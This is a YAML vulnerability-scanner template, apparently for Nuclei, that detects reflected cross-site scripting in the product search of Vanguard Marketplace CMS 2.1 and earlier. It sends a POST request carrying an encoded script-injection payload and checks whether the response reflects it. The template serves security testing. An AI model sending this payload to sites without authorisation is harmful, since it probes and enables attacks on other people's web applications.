36 lines
921 B
YAML
36 lines
921 B
YAML
id: vanguard-post-xss
|
|
|
|
info:
|
|
name: Vanguard Marketplace CMS ≤ 2.1
|
|
author: ImNightmaree
|
|
severity: medium
|
|
description: Persistent Cross-site Scripting in message & product title-tags also there's Non-Persistent Cross-site scripting in product search box
|
|
reference:
|
|
- https://packetstormsecurity.com/files/157099/Vanguard-2.1-Cross-Site-Scripting.html
|
|
tags: vanguard,xss,packetstorm
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /search HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
phps_query=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
part: body
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|